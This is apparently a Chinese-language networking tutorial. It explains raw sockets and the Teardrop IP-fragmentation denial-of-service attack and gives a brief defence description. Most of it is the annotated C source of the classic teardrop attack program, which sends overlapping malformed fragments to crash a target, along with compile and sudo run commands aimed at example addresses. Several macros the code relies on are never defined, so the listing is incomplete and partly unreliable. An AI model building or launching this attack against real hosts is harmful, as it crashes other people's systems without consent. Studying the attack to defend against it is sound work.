一、含义介绍
1、什么是原始套接字
原始套接字的含义就是在传输层之下使用的套接字,它提供了一些 TCP 和 UDP 套接字无法提供的功能,即:
1、使用原始套接字可以读写 ICMP 和 IGMP 协议的数据包,如著名的 Ping 程序;
2、使用原始套接字可以读写特殊的 IP 数据包,Linux 内核并不处理这些特殊数据包的 IP 协议字段;
3、利用原始套接字可以使用 IP_HDRINCL 套接字选项构造自定义的 IP 数据包首部,可以编写基于 IP 协议的高层网络协议。
2、了解 Teardrop 攻击
Teardrop 攻击原理:
攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,会导致系统崩溃。如下图所示:
当对一台机器发动泪滴攻击时,该机器就会崩溃或重启。 (在Windows机器上,用户可能会遇到蓝屏死机)。
如果你正确防御了Winnuke和SSping的 DoS攻击,但仍然发生崩溃,那么极有可能受到泪滴攻击或LAND攻击。
Teardrop 防御方法:
网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存益处,当缓存快要存满是,直接丢弃后续分片报文。
二、Teardrop代码编程
编写Teardrop程序(创建一个虚假的IP数据包)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
void usage(u_char *); //处理错误
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short); //IP内容的设置,进行发送IP包
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0; //定义源IP和目的IP
u_short src_prt = 0, dst_prt = 0;//定义源端口和目的端口
struct in_addr addr; //定义一个in_addr对象
printf("teardrop route|daemon9\n\n");
/*socket(AF_INET,SOCK_RAW,IPPROTO_RAW),其原型为
int socket(int domain, int type, int protocol);
int domain”参数表示套接字要使用的协议簇,常用的协议簇:
AF_UNIX(本机通信)
AF_INET(TCP/IP – IPv4)
AF_INET6(TCP/IP – IPv6)
“type”参数指的是套接字类型,常用的类型有:
SOCK_STREAM(TCP流)
SOCK_DGRAM(UDP数据报)
SOCK_RAW(原始套接字)
“protocol”参数用来确定套接字使用的协议簇和类型
一般设置为“0”,但是有时候创建原始套接字时,并不知道要使用的协议簇
和类型,也就是domain参数未知情况下,它可以确定协议的种类。
IPPROTO_RAW就是确定协议的类型
当套接字创建成功时,返回套接字,失败返回“-1”。即失败就会输出错误信
息,然后就退出程序*/
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
/*setsockopt函数是用于任意类型、任意状态套接口的设置选项值,即设置套接口的选项
setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型:
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
sockfd:标识一个套接口的描述字。
level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
optname:需设置的选项。
optval:指针,指向存放选项值的缓冲区。
optlen:optval缓冲区长度。
IP_HDRINCL:如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取
的数据中返回
*/
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
//当main中传入的参数个数少于3时,就会利用处理错误函数进行输入一些信息
if (argc < 3) usage(argv[0]);
//通过函数name_resolve进行源IP和目的IP的设置
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
/*getopt函数来解析命令行参数
getopt(argc, argv, "s:t:n:")的原型:
int getopt(int argc, char * const argv[], const char *optstring);
如果getopt函数找到一个选项字符,则返回该字符,更新外部变量optind和
一个静态变量nextchar,以便下次调用getopt函数可以使用下一个选项字符
或argv中 带-符号的参数恢复扫描。如果没有更多选项字符,getopt()返
回-1。 那么optind是第一个argv中带-的参数的索引。optstring是一个包
含合法选项字符的字符串。optarg是指向当前选项参数(如果有)的指针。
atoi()函数 atoi()原型:
int atoi(const char *str );
函数功能:把字符串转换成整型数,若无法转换,则返回0 */
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
//通过srandom函数设置种子值
srandom((unsigned)(time((time_t)0)));
//若上面源端口的值为0,就随机生成一个随机数赋值给源端口
if (!src_prt) src_prt = (random() % 0xffff);
//若上面目的端口的值为0,就随机生成一个随机数赋值给目的端口
if (!dst_prt) dst_prt = (random() % 0xffff);
//发送的次数的若为0,就将设定好的COUNT值赋给count
if (!count) count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip; //给addr对象赋值
//inet_ntoa()函数功能是将网络地址转换成“.”点隔的字符串格式
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip; //给addr对象赋值
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[ ");
//循环调用send_frags函数发送IP包
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; // packet pointers(IP包指针)
u_char byte; // a byte
/*套接字协议结构体
struct sockaddr_in{
sa_family_in sin_family;//地址族
uint6_t sin_port;//16位的TCP/UDP的端口号
struct in_addr sin_addr;//16位的IP地址
char sin_zero[8];//不使用
}
*/
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
//malloc函数原型是void *malloc(size_t size),用于分配所需的内存空间,并返回一个指向它的指针
packet = (u_char *)malloc(IPH + UDPH + PADDING);
//网络层IP包的设置
p_ptr = packet; //IP包头部中版本和头部长度的设置,4表示采用IPv4,5表示头部有5行
/*bzero函数
原型:extern void bzero(void *s, int n);
用法:#include <string.h>
功能:置字节字符串s的前n个字节为零。
说明:bzero无返回值。
*/
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45;
/*memcpy函数
原型:extern void *memcpy(void *dest, void *src, unsigned int count);
用法:#include <string.h>
功能:由src所指内存区域复制count个字节到dest所指内存区域。
说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。*/
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP包中TOS (skipped)的执行
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);//IP包的总长度的设置
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP包的identifier(标识号)的设置
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); //IP包中frag flags and offset的设置
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP中TTL(生命周期)设置
byte = IPPROTO_UDP;//IP包中的采用的协议设置
memcpy(p_ptr + 1, &byte, sizeof(u_char)); // IP包checksum(校验和)的设置
p_ptr += 4; // IP包中source address(源IP地址)
*((u_long *)p_ptr) = src_ip;
p_ptr += 4; // IP包中的destination address(目的地址)
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
//应用层的Segment的设置
*((u_short *)p_ptr) = htons(src_prt); // UDP source port(源端口)
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port(目的端口)
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); // UDP total length(总长度)
//sendto函数是向某个目的终端发送数据,当发生数据成功,就会返回发送数据的字节数,否则返回SOCKET_ERROR
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
//获取终端的信息
u_long name_resolve(u_char *host_name)
{
/*struct in_addr{
In_addr_t s_addr;//32位IP地址
}
*/
struct in_addr addr;
/*struct hostent
{
char *h_name; //主机名,即官方域名
char **h_aliases; //主机所有别名构成的字符串数组,同一IP可绑定多个域名
int h_addrtype; //主机IP地址的类型,例如IPV4(AF_INET)还是IPV6
int h_length; //主机IP地址长度,IPV4地址为4,IPV6地址则为16
char **h_addr_list; /* 主机的ip地址,以网络字节序存储。若要打印出这个IP,需要调用inet_ntoa()。*/
};
*/
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
//gethostbyname函数是利用字符串格式的域名获得IP地址,并且将地址信息装入 hostent 域名结构体,成功时返回值为hostent结构体,失败返回NULL指针
if (!(host_ent = gethostbyname(host_name)))
return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
//错误处理函数
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
编译运行
gcc Teardrop.c -o Teardrop
sudo ./Teardrop 100.100.100.100 200.200.200.200
参考
1、带你认识Teardrop攻击
2、IP协议安全:泪滴攻击与碎片攻击
3、《网络编程技术》
4、通过 Teardrop 攻击程序学习自制 IP 包及了解包的结构